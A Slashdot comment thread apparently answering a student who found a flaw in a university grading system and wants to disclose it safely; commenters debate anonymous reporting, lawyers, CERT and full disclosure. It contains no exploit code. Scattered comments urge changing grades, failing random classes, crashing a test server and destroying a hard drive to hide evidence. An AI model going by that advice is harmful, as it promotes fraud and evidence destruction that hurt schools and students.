  117. Serious Suggestion by Zork+the+Almighty · · Score: 2, Interesting

    This is a serious suggestion. Don't report it, just pick classes at random each semester and fail all the students in them. 10 or so should be enough. The administration will freak out, and they will get the company's attention for you. Use an anonymous remailer to tell the company where the problem is, but never release any exploit code.

    The fact is, with this sort of thing, the squeaky wheel gets whacked with a sack of doorknobs.

    --

    In Soviet America the banks rob you!
  118. Best Option by Anonymous Coward · · Score: 0

    ...is to keep your mouth shut, use your superior intellect to cheat your way out of college, and tell your grandkids about it.

  119. Don't treat this as a technical issue by Anonymous Coward · · Score: 0

    It seems to me you can view this as a technical problem or as a legal problem (your grades and the grades of others not being properly safeguarded).

    Talk to a lawyer, but don't start the conversation with "I have found a technical flaw". Start the conversation with "I fear the University's negligence is harming me."

    I bet things go much better that way, even if all you want is for them to fix the flaw!

  120. One phrase fits: "anonymous report" by canuck_wingnut · · Score: 1

    To the school's It department, cc: to the Dean
    (or campus principal as the case may be)
    both from a temporary hotmail/yahoo account.

    Include the example code, obfuscated to hide
    your coding style, (coders familiar with you,
    and instructors likewise, would pick you
    out from your coding style) and leave it at
    that. If they are too damn ignorant to test it
    out, well, it's their problem, they've been
    warned.

    canuck_wingnut

    --
    -: :- mv sco /dev/null because a computer is a terrible thing to waste. -:
  121. Suprised no one has mentioned this... by LucidityZero · · Score: 1

    I am very surpised no one has mentioned this! Find yourself a small, start-up security firm somewhere. Coordinate with them to release the vulnerability information in a proffesional manner. You get the annonimity you need, and the small security firm gets recognition!

    Win-win for both of you!


    --
    Sig.i>
  122. This is Incredibly Sad by CB-in-Tokyo · · Score: 1

    What is the world coming to that this question even needs to be asked?

    I am not an American, nor do I live in the US, but I have always respected the foundations and principles that the US was founded on. Principles which have all but been flushed down the toilet.

    Here we have "the land of the free and the home fo the brave" turning into the "land of the closely monitored and the home of the scared to something beneficial, or in fact anything at all."

    This makes me wonder when we are going to have masses of Americans defecting to Russia for political Asylum.

    Who really won the cold war...or perhaps the people at the top are all the same anyways....hold on there is a knock at the door.....Ahhhhhh they are coming to take me away hah hah!

  123. MOD PARENT by Anonymous Coward · · Score: 0

    This makes sense to me! All of the other posts leave you with no gain for your discovery!

  124. Be on good terms with the Dean of Technology by Facekhan · · Score: 1

    I took a class from the full time dean of tech at my school and I work for her dept as a student asst (really a resnet technician) so I am pretty sure If I were to discover something like that I would be safe in approaching her about it. In addition one of my more immediate supervisors is the son of the former president of the school so I am sure I could secure my safety. But then again why would I help my school for free, they don't help me for free.

  125. Two Actual Cases: What worked, what didn't. by da0g · · Score: 2, Interesting

    I ran into a similar situation some years back at Carnegie Mellon University. A friend of mine discovered a means of acquiring AFS authentication tokens belonging to other students. (The tokens were not being destroyed properly. The technique involved editing the boot image (vmunix) with emacs.)

    This was a significant security hole. Every year, a couple of idiots try to cheat. With the ability to become any other user, well, Pandora's box was wide open.

    My friend asked for my advice on how to proceed. Should he contact the administration? I told him, flat out, if he went to the administration, he could expect to have his computer accounts immediately terminated. Without them, he would receive a forced-fail in all his computer science classes. He could also expect to face a "rubber-stamp" academic review board, and either a suspension or outright expulsion from the school.

    This is, unfortunately, not idle speculation. Some years earlier, my best friend at CMU (Jeff) had created a subdirectory. Well, several subdirectories, actually. Nested. The professor (Phil) was a complete loon who couldn't code his way out of a paper bag. He decided Jeff's subdirectories had crashed the system. We accessed the logfiles. Jeff didn't have anything to do with that system going down. That didn't stop the termination of all his computer accounts, the forced-fails, or the academic review board and suspension. My one big regret was that Jeff never filed a lawsuit against CMU.

    So, getting back to the AFS hole: I'm a member of the local Alpha Phi Omega chapter. At that time, one of our advisors was an upper echelon hacker, an absolute wizard, who was responsible for a large chunk of the actual implementation on the systems involved. I arranged for a private meeting between the three of us. The details were discussed openly and frankly, along with possible solutions. A trivial fix was put into place.

    To the best of my knowledge, no one else, and specifically no one in the administration, was ever notified. My friend continued his education uninterrupted, and eventually obtained his degree.

    -D.

  126. Hope this helps... by NEOtaku17 · · Score: 1

    Step 1:Use http://riot.eu.org/anon/ to send the administration a friendly "what if" letter. Be sure to include things like "I have reason to suspect" and "Theoretically speaking is a student were to find a backdoor". Be as vague as possible but make sure you get the point across that you want to help them. Tell them to mail an official response as to what their course of action would be "if" a student were to come across such a flaw in the code. Step 2: Find a computer store with a few models with online access. Set up a hotmail or yahoo account containing absolutely all fake information. Step 3: Have the administration mail the "official" response to that address. Step 4: Find a new(stress "new") place with internet access(like an internet cafe) that allows floppy use. Copy the entire page onto the floppy. Oh yeah and make sure to pay with cash always. Shut down the e-mail account. Step 5: Make a few copies of the disk, and depending on what their "official" response was either take in the exploitation code along with the floppy in to the administration or repeat steps 1-4 with the software company. ---If all else fails submit the stuff to a bug traking site(preferably many)

  127. DO NOTHING by Anonymous Coward · · Score: 0

    There is nothing worse then getting kicked out of University for a year and having to wait 7 years until your record is clean.

    All I recommmend is stop and don't ever do anymore 'testing'. It just isn't worth it.

    Don't learn from experience like I did.

  128. Flyiers by hrieke · · Score: 1

    Print the exploit up on flyiers and post them around the campus in the middle of the night. A few 100 of them should get the attention of the campus IS people who'll talk to company and they'll issue the fix.

    --
    III.IIVIVIXIIVIVIIIVVIIIIXVIIIXIIIIIIIIVIIIIVVIIIV IIVIIIIIIVIII...
  129. Business plan by Anonymous Coward · · Score: 0

    1) Watch WARGAMES
    2) Copycat
    3) Get laid

  130. What to Do. by HBK-4G · · Score: 1

    1) Make a couple copies of a detailed explanation, along with code necessary to do the exploit, and put on CD.

    2) Mail to CEO, IT director of offending company, student advocate and IT director of university, and one or two newspapers. Make sure that everyone knows that the others are receiving identical copies of the same CD.

    3) Get a lawyer. You'll be thankful you retained one, even if nothing ever comes of this event.

    4) Encourage everyone (except newspapers, those are your backup) to sit down on campus for a meeting. Bring your lawyer. Bring your professor (I assume that only 1 class uses this system) and make sure that he validates that your grade has not been changed. Once that's done, make sure they realize that you're doing this as a service for their benefit. (both company and university don't need bad press)

    5) Get the student newspaper in on it, but don't expect anything.

    Hopefully, the exploit will be fixed in a short amount of time, nobody will sue you, and you'll get the pat on the back you expected (nothing more, except maybe a job offer if you're especially golden.)

  131. Here's what to do: by JRHelgeson · · Score: 1
    1) Go to Microsoftsucks.org and get a free anonymous email address.
    2) Next, go to No-ID.com, an anonymous remailer that masks the source of emails.
    3) Email messages to the college and software creators, notifying that they have 2 months to fix the problem before you post the vulnerability to the Full Disclosure mailing list.

    They will be able to reply to your emails using the remailer service. You WILL remain completely anonymous and your integrity will never have an opportunity to be called into question.

    --
    Good security is based upon reality and common sense. Common sense is a function of having common knowledge.
  132. You're an "unindicted felon" per the FBI! by Anonymous Coward · · Score: 0

    White Hat or not, you're confessing to having committed a felony under the DMCA, so you're at the mercy of anyone who finds out who you are and wants to cover their butt by shutting you up. And that will include your university and the company providing the software. Whatever you decide to do, do it anonymously, and make sure nobody can track you down by finding incriminating code on your computer (keeping in mind the daily system backups).

    If you do decide to (anonymously) notify key university and company officials, include an explanation of why you are, and will continue to remain, anonymous. CC your own elected federal representatives and all members of the US House Intellectual Property Committee.

  133. You are already in serious trouble. by The+Revolutionary · · Score: 3, Informative

    If you have done what I think you have, then you are quite probably screwed no matter what course of action you choose.

    If you do report the problem, the IT administrators will be obliged to perform a damage assessment. They will scan their logs for behavior possibly taking advantage of this exploit. That you say you have proof of concept code, and presumably have tested it, if IT discovers that you have so much as tried to take advantage of this or a related exploit, it will almost certainly result in your dismissal for that Semester, criminal charges, and possibly the end of your academic career.

    It won't help to go through a professor. If IT comes back and says that they have evidence that you tried to take advantage of the exploit (by 'testing'), you will not be spared, and the professor will either be unwilling or unable to protect you.

    If you do not report the problem, you risk IT discovering the exploit on their own or through a security update from the vendor, and similarly performing damage assessment to discover whether or not their systems or data have been compromised, or attempted to have been compromised.

    Don't scoff at this. If it is a significant exploit, and given that there is now a story on Slashdot about it, there is a significant possibility that IT will perform a damage assessment.

    Further, depending upon how you found or 'tested' this exploit, IT may find you out whether or not they realize or are alerted to the nature of the exploit.

    It is really up to you. Only you know the nature of your investigative activities and testing. If discovering these exploits required behavior which went beyond the normal use of the system, then you have a very serious problem.

    How do you explain why you were doing this in the first place? You can't, and quite honestly, there is almost certainly no excuse for it. If you were concerned about the security of the system, you should have gone through official channels to get clearance to look for vulnerabilities, and report the sort of investigative techniques you would be using, and do only this.

    If you have not done this, then you have one course of action:
    - Find out how long of a period IT keeps logs for. If you are a technically inclined, student, then surely you have aquaintences -- students -- who work in IT.
    - If the logs of your activity are gone, then you are in the clear. Report the vulnerability anonymously the next time you are off campus. Unfortunately, from the few academic IT departments I am familiar with, they keeps logs for a very long time, because of issues just like these.
    - If, on the other hand, the logs of your activity are not gone, then weigh the possibility of your activity being found out before the logs will be cycled or destroyed.

    If the logs will be around for months still, then you are quite possibly in serious trouble. If the logs will be around for a year or more, then you are almost certainly in very serious trouble.

    If you report your activities, then you are are almmost certainly in very serious trouble.

    Personally, I would go with the first option, and hope that your IT department will not perform damage assessment, or that they will not find out above the exploit until next semester, and will not be interested in logs from the previous semester, or perhaps from the previous academic year.

    1. Re:You are already in serious trouble. by hakoMike · · Score: 1

      If your institution is anything like the one I work for, they will be able to recover logs from full and incremental backups for more than a year.

      I think you are much better off seeking clemency from your school's CIO or similar officer. Claim that you heard about the exploit, and tested it out of curiosity and doubt. I can't speak for other schools, but I know the management staff here well enough to know that they'd rather hear about the problem and get it fixed than punish the whistle-blower.

  134. This is what I did when it happened to me by micklweiss · · Score: 1, Interesting

    The last University that I attended in West Palm Beach FL (they can trace this back to me... see if I care) has some shitty network admins. Their network is anything but secure.

    I found plenty of problems with their network security... I (as a regular user on their systems) had access to a lot of things that I shouldn't have had. I actually used one of these exploits to my advantage. We had a test that I didn't study for (all tests were handled by a CGI script on an insecure inhouse server). I shutdown the box, and ... vualla no test that day.

    I sent an e-mail to the heads of the school,

    I ended up talking to them and asking for a job, they wanted to give me $5 /hr so I told them that they can go f**k themselves (in a nice way). They wanted me to setup servers (SMTP, DNS, Webserver etc...), apply a security policy and write custom code for them.

    I just ended up telling my teacher about the security vulnerabilities (he was real cool about it), he fixed the exploits that I knew off the top of my head. I corrected some of his code... now he sends me job oppertunities.

    ....

    In a different situation in high school, I wrote a lot of code for my school, it was supposed to be a system where teachers and parents could view students grades and such securely... the school ended up expelling me for not going to detentions (I was working as a developer after school for a firm down here in FL). Every bit of code was encrypted with GnuPG so they didn't get one bit out of me.

    BTW: if u found an exploit on a school's computer and u write a patch on the school's computer (ITS OWNED BY THE SCHOOL), they will try and screw u over, schools are just like that.

    My advice is - they won't hire you or they will want to pay minimum wage, and just either talk to a teacher that you TRUST. They might appreciate it and send you work that comes their way :o)

    oh ya, first change your grades though... ;o)

    Regards,

    - Mick

    (o> Web developer / designer
    ( ) UNIX Systems Admin
    --- ~ www.mickweiss.com ~



    1. Re:This is what I did when it happened to me by ottothecow · · Score: 1
      hmm...I get 12.50 an hour from my highschool for even easier stuff. although
      a) they would never let any kid touch the inner workings of their network nomatter how good they were or how big a problem they could solve
      b) my job is easy now but took shitloads of work to get too and if you count up the time maybe I might average out to 6 or 7 an hour.

      Id be curios to know what software is being exploited here...it would be interesting to see what I could do with access to the sofware used at my school but I wouldnt be able to make permant changes because IIRC the web-available grade system is taken from grades that are exported from the internal system, leaving no way to change the internal grade

      --
      Bottles.
    2. Re:This is what I did when it happened to me by Stephen+Samuel · · Score: 4, Insightful
      In a different situation in high school, I wrote a lot of code for my school, it was supposed to be a system where teachers and parents could view students grades and such securely... the school ended up expelling me for not going to detentions (I was working as a developer after school for a firm down here in FL). Every bit of code was encrypted with GnuPG so they didn't get one bit out of me.

      Doing good coding can get you some nice job references (as per your teacher at University), and some good friends down the line, but it doesn't excuse you from the rules per detention, etc. (what the detention was about is a different issue, so I just won't go there).

      Encrypting the code is, at best, bad karma. It could come back to haunt you years down the road when an important contract is nixed because a friend of a friend remembers what you did way back when. Relationships are one of the most important things we have in life, and when you burn enough bridges life just gets less and less pleasant. I'm sometimes shocked by where the contacts I've built up over the years have taken me.

      BTW: If you were actually paid to develop that school code that you encrypted, my guess is that the only reason they didn't sue your ass of is that you didn't have any money in your pants.

      --
      Free Software: Like love, it grows best when given away.
    3. Re:This is what I did when it happened to me by Anonymous Coward · · Score: 0

      > vualla no test that day

      "Vualla?" Graduated from college, but no idea how to spell or any concept of foreign grammar?

      Great.

    4. Re:This is what I did when it happened to me by salesgeek · · Score: 1

      but it doesn't excuse you from the rules per detention,
      Detention is a waste of time. Educators should not have the power to use "mini-jail" time for discipline. It's a bad tool and it simply doesn't work. When I was in school, I got in trouble for hoisting a beer keg into a second story classroom. I figured I would get in real trouble. Guess what I got? One week of detention! Do you know how my social and sex life benefited from the incident?

      Lesson learned: Crime pays, especially when the punishment is sitting around reading Moby Dick after school.

      --
      -- $G
    5. Re:This is what I did when it happened to me by Anonymous Coward · · Score: 0

      Relationships are one of the most important things we have in life, and when you burn enough bridges life just gets less and less pleasant. I'm sometimes shocked by where the contacts I've built up over the years have taken me.

      Then your sig:

      If you're not on somebody's shit list, you're not doing anything worthwhile.


      I'm confused but I'll try to sum it up:
      To get somewhere in life you should piss off people.
      Message taken. I'll get right to it FUCKHEAD!!!

    6. Re:This is what I did when it happened to me by Anonymous Coward · · Score: 1, Insightful

      well, you can tell he never took french, or it would be voila, as you have pointed out. You can also tell that the original poster is a pile of shit who I would never want to work with. He might have some coding skill, but he has no business sense or ethics. Basically he is a failure at life, and i s a load that should have been swallowed.

    7. Re:This is what I did when it happened to me by Anonymous Coward · · Score: 0

      Amen to that.
      It is hard to realize how important every contact you make right now, is to your future, but they are all critical. Anyone you screw, *will* screw you down the road.

      I have been both places, and it is painful when you don't do the right thing.

      l8,
      AC

    8. Re:This is what I did when it happened to me by vsprintf · · Score: 1

      I figured I would get in real trouble. Guess what I got? One week of detention! Do you know how my social and sex life benefited from the incident?

      Lesson learned: Crime pays, especially when the punishment is sitting around reading Moby Dick after school.

      So, now we see how CEOs come to be. :)

    9. Re:This is what I did when it happened to me by Lanae · · Score: 1

      Amen to that! What a hypocrite.

    10. Re:This is what I did when it happened to me by Stephen+Samuel · · Score: 1
      Relationships are one of the most important things we have in life, and when you burn enough bridges life just gets less and less pleasant. I'm sometimes shocked by where the contacts I've built up over the years have taken me.

      Then your sig:

      If you're not on somebody's shit list, you're not doing anything worthwhile.

      It's not that you want to piss everybody off, but you sometimes have to be willing to piss somebody of for something that you think is seriously worthwhile (i.e. a principle).

      Choose your friends well, but choose your enemies even more carefully.

      --
      Free Software: Like love, it grows best when given away.
    11. Re:This is what I did when it happened to me by Lanae · · Score: 1

      I think that I and the AC who first pointed at the descrepancy between your advice & your sig, were assuming that the guy *was* acting on some principle that was worthwhile to him. Then, as ./ geeks, what do we know? If I had your wonderful social skills ...hmmm... but then a big part of social skills *is* the ability to be dishonest and hypocritical.

  135. Hrm... by loginx · · Score: 1

    Don't ask Slashdot... just go ask your lawyer... I'm pretty darn sure it's a lot safer :)

    I'm really addicted to slashdot and I think it's really great but I wouldn't trust it with my freedom or my academic life.

  136. Be anonymous by PeekabooCaribou · · Score: 1

    Slip a letter under a few of your professors' doors, or do a hit-and-run drop off at your university's help desk, if you're really worried about retaliation.

    --
    "I'll say it again for the logic-impaired." -- Larry Wall.
  137. Send it to Ed Felton by Anonymous Coward · · Score: 0

    Make no mistake, your academic career is shot if somebody takes issue with your action. Even if your University initially backed your position, a lawsuit against them could turn the tide in a New York Minute. Contact a knowledgeable expert with a great familiarity with defending against the heat, like Ed Felton at Princeton, and disclose it to him and utilize his expertise as your defense and leverage.

    You will gain legitimacy by using an intermediary who is an undisputed academic expert in his field with a real interest in security.

    You could lose your shirt just for exploring the expolit. Students are bright and young and have the reputation of showing hubris for their independent ideas, and are not adept at covering their proverbial buttocks. You would not be the first student to get slaughtered at the trough due to lack of experience in dealing with the powers that be.

  138. there are a couple of ways... [Note : IANAL] by pigscanfly.ca · · Score: 1

    1)Full discloser
    Tell everyone all at once . Submitt to slashdot , security focus , local campus news , local news paper , campus radio station , et all . Make sure to do it from a non campus computer , an internet cafe would do (and use a fake address along with a re-mailer).
    2)Tell the school
    Once again do it anonymously. This probably wont work (trust me) .
    3)Tell the company
    If you send it the company ; tell them your giving them a heads up before you do number 1. Give them a specific amount of time.
    As for legal implications of this ; slashdot is not the place for those kinds of questions . Personally I favour number 3 , with a 72 hour lead time (or whatever you think is reasonable) , coupled by number 1 if they do not fix the problem . If they send threats back to the e-mail you used (if you decide not to use a re-mailer) send them to all local media outlets (and national , but they probably would not care) .

  139. use 802.11b by deadmongrel · · Score: 1

    get yourself a cheap wireless card(for your laptop or PDA) go around town for free wireless access. Post the exploit.

  140. Contact CERT. by dieman · · Score: 1

    Let them know about the problem in the software. Provide examples. Demand that they do not reveal their sources.

    AFAIR, CERT exists exactly for these sorts of problems, when you want to tell, but you don't want to get in trouble for misunderstanding.

    --
    -- dieman - Scott Dier
  141. NO! NO! Here's What To Do by Anonymous Coward · · Score: 0

    1. find yourself a unsecured WiFi or other wireless connection in your area
    2. get some kind of bogus email address
    3. get in contact with them,state your demands,make sure they understand you mean business and that you won't take any shit from them.
    4. give them a reasonable time period for them to fix their shit,30 days?
    5. wait,see what happens
    6. ok,they fixed the shit? good! they didn't? shit, now you are going to release ALL the info!
    7. find another unsecured WiFi, release the info!
    8. go back home and watch the fireworks!

  142. bugtraq by Anonymous Coward · · Score: 0

    release it to the public. Full disclosure.

  143. I've been at the same situation before by Anonymous Coward · · Score: 0

    The exploit I found was in an accounting program which kept a running record of accounting problems finished in a saved file with the student's name "encrypted" so that when the answers were printed the student's name would be on the paper. The instructor told us that although we all should have identical answers to be 100% correct, we should get any ideas about printing out 1 paper for each of us since the author's name would be at the top of every sheet.

    I looked into the "encryption" and it was simply a list of ASCII numbers representing the name. It was easily modified in the file, thus we all could turn in the same paper as anyone else by typing in our names as ASCII in the same file then printing it.

    This was for "Gold Run snowmobile Inc." for MS windows Third Edition by Leland Mansueltti and Keith Weldkamp.

    Irwin/McGraw-Hill

    I think all "Peach Tree Accounting" software has this major flaw. but you know what, if I had cheated (I never cheat!) I deserve it since the authors charged me over 100 bucks for their book/software. If moron-publishers get paid for this and I can outsmart them, then I say fuck em. When the student can outsmart the master it is time to change roles.

  144. Open source? by Manic+Ken · · Score: 1

    I would never waste my time on proprietary software. I have found bugs/exploits in commersial stuff (incl OS's) but never reported anything. They make money off the stuff, keep it closed sourced....Nope, wont help them. Sooner or later the bugs/exploits gets discoverd by malicious ppl, and someone (who didn't use OSS) get their balls busted. If you gets hurt in the process, you should not blame me. Blame the idiots using using the stuff!!(picture me calling the bank and whine about the choice of their SW :) Anyhow, I consider me a part of the OSS movement and will not aid the greedy (but mostly stupid) closed source guys.

    The borgs and psychopaths have taken over...

    1. Re:Open source? by Anonymous Coward · · Score: 0

      Move raving from an open source zealot (or is that a OSS-Borg or OSS-Psychopath?) Piss off you whack job.

  145. Here is what you do... by Anonymous Coward · · Score: 0

    You shut up...

  146. As a student....this is a really simple case. by gte910h · · Score: 2, Insightful

    You don't report this. Simply you don't. You are too vulnerable.

    After you graduate, if you want to report it, send hard copy source listings to admins of the system at the college, the company that runs the software, and several professors in the technical areas of your college. You then forget this and don't ever think of it again.

    Destroy the computer the harddrive the printout you had was created on. This is so you cannot be determined to have cheated at your degree if you ever DID get "located".

    I suggest wiping it with the software that PGP comes with then taking a road trip to celebrate graduation to a couple states away. If you're in California, visit Iowa. If you're in New York, I would have to say GA is nice in May. Leave it in a dumpster somewhere mixed in with nothing else of yours.

    I think in 10 years there will be a system of computer ethics, or a government board that you can report this stuff to with a condition of amnestey. Its all too new to too many people for that to work right now, so you just have to practice silence.

    --
    Want to see every step I took to start my company? http://www.rowdylabs.com/blogs/pitchtothegods
  147. My advice by Anonymous Coward · · Score: 0

    I rembere in Highschool where I figured out a way to gain entry to the school's VAX server(remote offsite, connected to the guidence office by fiber), that stored grades/schedules/libary catalog etc.
    Since I knew the IT admin very well, and he was not a nazi admin, I told him about the hole.

    Although not as a direct result of my actions, the hole is fixed, etc.

    It's tempting to modify your grades, but why bother? When you go off to the real world, your coding ability/problem solving ability/people skills will speak for them selves. I find it better to pay attention in class and study for knowledge.(I could give a shit about my grades)

    I'd recommend what others have already said. Get some legal council. I know most school's offer student legal counicl for free, but I suggest out side un-biased help. (Someone who wouldn't be tempted to use this info for personal gain or agaist you)

    If the software company resonsible for this, denies you. Your choice of either, shutting up, or Re-mailers.

    Imporant code like this should be peer-reviewed, I'm getting sick of companies claiming that it's the EU's fault for problems w/ their security, and saying that they should deal w/ it.

    I see knowledge as something everyone should have, which is why, instincivly I would say release the holes now. Although I prefer that the company be given the chance to fix the holes. Along w/ DMCA idiocy... ugh.

    Get a good outside lawyer expeinced in DMCA/Computer Software etc. Not one from the school (be easier to figure out who you are for campus ppl). If your parnoid, (which I recommend till this is settled) don't do communications about this over school networks (phone/data) or even use public terminals to talk about it (again that can be logged, i've seen kids get busted for malicous hacks but police while sitting at public terminals, not your case but indicates most sane schools monitor accounts closely)

    Good Luck

  148. DO NOT GIVE OUT YOUR NAME by augustz · · Score: 2

    Stay anonymous. Do the COST-BENEFIT analysis (seriously).

    In this climate, you have everything to loose and very VERY LITTLE to gain no matter how cool you think it is.

    The school must follow no laws but it's own and can expell you, and I PROMISE you that somewhere somehow you violated their AUP or TOS.

    The vendor can sue you, and even if you beat them you are stuck with a HUGE legal bill.

    You can get some overzealous local DA trying to move up the ladder to take you on. If you don't have a lot of money you are a tempting target for obvious reasons.

    You need to understand the DMCA (and companies who file suit under it) claiming that attempts at circumvention are illegal.

    And what would you gain? I think you'd be surprised at how very little unless you want to work for a security company, and even then that is tough. Folks with hacking pasts are often radioactive in the IT world, and with big companies especially so. You'll have a very hard time getting a background clearance.

    I'd notify the vendor and some lists 100% anonymously (and not just spoofing an email). If they don't act in the reasonable time frame full disclosure and it will be sure to get fixed. You've done your part, with none of the baggage.

    You need to think through how limited the upside is. College kids love the challenge, and want to feel proud for doing the right thing. Commercial companies hate to be embarrassed, and will sic their lawyers on you if given half a chance.

    Blackboard already went down this route I think with some kid they sued to convince him that he hadn't found a vulnerability. Much of the business world does not particularly care about right and wrong, what they do care about is $$ and lawyers.

    College is wonderful, don't let it fool you.

    And frankly, given that the industry has forced through so many rediculous laws (UCITA anyone?), give them a fair 30 days but then go full-disclosure. What goes around comes around.

    1. Re:DO NOT GIVE OUT YOUR NAME by buss_error · · Score: 2, Interesting
      Stay anonymous. Do the COST-BENEFIT analysis (seriously).
      In this climate, you have everything to loose and very VERY LITTLE to gain no matter how cool you think it is.

      I agree with Augustz's post 100%. Use a public library (not the school's library, but the public library) to send an email from a free email service, and make sure the service is not in the US.

      Read about how Blackboard treated two students here and see if you think reporting the problem is safe or not. In view of BlackBoard's past actions, if I were the one with the information, I'd post it to a Usenet group for security. I wouldn't inform them and give them so many days to fix it. I'd release it immeditately.

      You choose what you think is right.

      --
      Necessity is the plea for every infringement of human freedom. It is the argument of tyrants; it is the creed of slaves.
  149. Sign your exploit, release it on Freenet by acet · · Score: 1

    The technologies for releasing sensitive and dangerous information (i.e. in some cases, "whistleblowing") are out there. You simply have to use them.

    If I were in your position, I would simply do this. Package your documentation of vulnerability, along with exploit, and everything else that you've compiled on the subject. Take this document, sign it with a private strong encryption key, and upload it to Freenet. Then, once it's out there, see that the freenet "key" falls into the right hands (i.e. university, software developer, security lists, etc). This part can be done anonymously either using anonymous remailers or just going to some internet cafe and using one of their machines. Once it's out on freenet, simply knowing the key is no proof that you are the author of the exploit, even if someone were miraculously able to track you down for posting the key.

    Then, at some later date, once the heat has died down (and you've graduated), you always have the private key used to sign the initial vulnerability and you can prove rightful credit for finding it, if that is important to you.

    I.E. in short, publish it anonymously, but sign it cryptographically so if at a later date you wish to prove that you were responsible, you can in a way that can't be refuted.

    These are great days for whistleblowers.

  150. Why not? by fltsimbuff · · Score: 1

    Why not just go to them and tell them you have found a couple of very serious exploits, and refuse to tell them what they are until you have determined whether or not they will try to prosecute/disipline, whatever. They surely can't do anything to you if they have no proof that you really have done anything. Actually, I have reported bugs to Admins of MSN Chat without a problem, as well as to a large regional ISP (Which I was doing tech support for at the time). In both situations, I was used as a resource, and I continue to confer with them on security issues occasionally.

  151. tell God by jayrtfm · · Score: 1

    ... or one of his employes, such as the campus priest or rabbi.
    IANAL, I think a "confession" and request for guidance would be obligate him to protect your anonymity.

    Give the priest the same disclosure information you were going to supply by other methods, along with a printout of this thread so he can understand the issues you are dealing with. Let him deal with informing the university, IT department, etc.

  152. Contact www.thefire.org first.. by Anonymous Coward · · Score: 0

    Before you go public with the software exploits, be sure to contact www.thefire.org. They offer legal advice for FREE. They are very useful.

    Enjoy.

  153. Bad Idea by Anonymous Coward · · Score: 0

    Then you've dirtied your hands, and

    that could be linked back to you, once they figure out that person didn't send it, a probable hypothesis would be that someone like you did it to
    get at them.

  154. Only in America... by Fizzl · · Score: 2, Interesting

    ...can you make such a trivial thing as bug reporting a complex legal issue.

    I would just contact the local admin, tell him whats wrong, hand out the proof-of-concept and let him sort it out with the developer company.

  155. Run away NOW... by Anonymous Coward · · Score: 0

    If its WTAMU or one of the A&M schools, then RUN AWAY... They have a long history of blaming "innocent/whire hats" people that inform them of the security holes that they have when those holes are exploited by real black hats.....

    1. Re:Run away NOW... by Anonymous Coward · · Score: 0

      Care to explain to us the incident here?

  156. completely offtopic by Anonymous Coward · · Score: 0

    You know you've been doing tech support for too long when seeing "169 of 254 comments" makes you laugh.

  157. Why help abusive affluent evil people? by Anonymous Coward · · Score: 0

    They don't hesitate when it comes to ripping off others so they can live like kings. It's their job to make it secure, not yours. If you do anything to hurt them, they'll do what they can to screw you. You simply can't trust wealthy people as they've already sold out. My advice, bury it or use a mixmaster remailer to publicly post it for all to see.

    Money is the root of all evil. Those with money are rooted in evil, no matter if they understand or not. Greed and power corrupt all. A camel has an easier time climbing through the eye of a needle than a rich man through the gates of heaven.

    God save America, it's the only chance we have left.

    1. Re:Why help abusive affluent evil people? by hakoMike · · Score: 1
      Ummm, no. As one of those people who would benefit from a quiet fix rather than a public release, I can assure you that I am neither abusive nor evil, and far from affluent. Most behind the scenes university employees are just regular working guys/gals, not ivory tower types or fat cats who light cigars with $100 bills. Trust me, we don't work at a public institution for the money.

      And please don't use your version of scripture to back up your point. I'm a fundamentalist Christian, and I find that terribly offensive. Here's what you misquoted:
      1 Timothy 6:10 - For the *love* of money is the root of all evil: which while some coveted after, they have erred from the faith, and pierced themselves through with many sorrows. (*'s are mine.)
      You can have money and not love it. You can be successful and still serve God faithfully. You can be dirt poor and still exhibit the sort of pride in yourself that the passage from Matthew 19 you reference is referring to.
  158. Change grade: Baaad by naner42 · · Score: 1

    Just in case you forgot, almost every professor out there keeps a copy of their grades ON PAPER. If they suspect anything has been changed on Black Board, er the online system, they'll reference their paper copy. Hence forth, you're screwed.

    --
    Self realization: I was thinking of the immortal words of Socrates, who said: "I drank what?"
    1. Re:Change grade: Baaad by Frobnicator · · Score: 1
      It's a little more complicated than that.

      The first, and most evil use, would be to extract all the personal information about the students & teachers for use externally. Nobody would know the source of the attackers information.

      A slightly less evil approach would get into accounting informaiton, university passwords, etc, and never change a grade but get into other university accounts and systems.

      A less evil attacker could raise the grade of somebody they don't like, then compain and try to get that student in trouble.

      But any self-respecting attacker would know that changing information about yourself is like waving a big red flag over your head.

      frob

      --
      //TODO: Think of witty sig statement
  159. Do what Captain Kirk did! by corebreech · · Score: 2, Interesting

    Remember the Kobayashi Maru? The no-win scenario?

    Kirk cheated.

    That's what I suggest be done here. If we can re-program the simulation to come out on top, I see no reason why we shouldn't get a commendation for original thinking.

    Kirk didn't like to lose. Neither should we.

    1. Re:Do what Captain Kirk did! by Anonymous Coward · · Score: 0

      Uuhhhhh
      You are identifying with Kirk as a real world persona. You are using a made-up story to justify things in the real world
      You need a REALITY CHECK!

      After all this time some slashdot-readers still manage to amaze me...

    2. Re:Do what Captain Kirk did! by Anonymous Coward · · Score: 0

      The Kobayashi Maru test was designed to have no solution or positive outcome; can this really be said to be comprable to the abecedarian topics represented in say BIO 101???

    3. Re:Do what Captain Kirk did! by mummers · · Score: 1
      --
      --This isn't a man who is leaving with his head between his legs.
  160. It's SAD is it not? by BlackListedCard · · Score: 1

    It's getting very sad. People can not identify a problem and bring it out in the open. People are scare shitless to speak of any problem for fear of being destroyed. Why can't people just come forth and tell the party involved that they have discovered a problem with the software. This guy knows about a problem, yet most likely will not tell anyone. The problem will exist forever. This is why the world does not better itself. Problems only exist because they are fostered and promoted. This is another example of FEAR. Sad... Very Sad....

    1. Re:It's SAD is it not? by Detritus · · Score: 1

      It's a problem endemic to large organizations. Whistle blowers are punished rather than praised. There are many ways the organization can retaliate against the whistle blower. It doesn't help that we have a dysfunctional legal system, where only the rich can buy justice.

      --
      Mea navis aericumbens anguillis abundat
  161. Just tell them about it by shfted! · · Score: 1

    I've found that frank and immediate disclosure is the best policy. I've found several security issues at both my highschools, plus an issue or two with the University network. Before, I would hesitate on reporting, but then later got in trouble for it. Now, I'll immediately notify the IT staff of the issue. They take me seriously, and there has never been an issue with getting into trouble.

    Having already written a proof of concept might bring you trouble, but be open about that too. Tell it to the highest guy up that has a clue about computers, and isn't afraid of them (like most management).

    --
    He who laughs last is stuck in a time dilation bubble.
  162. What do I do? Not tell a soul. by Awptimus+Prime · · Score: 1

    That's easy. My desire to live a peaceful life and tendancy to avoid very serious situations would force me to do one thing:

    Not tell anyone. Screw it.. If our nation feels it needs the DMCA so bad, then let it reap the consequences. There is no point in putting your future in jeopardy over trying to appear as smarty, ethical hacker.

    This isn't Hackers or Sneakers, it's real life. Screw up and you might not have another shot of something so nice as a college education.

    Silly kids these days. They always have their head in the clouds. :-)

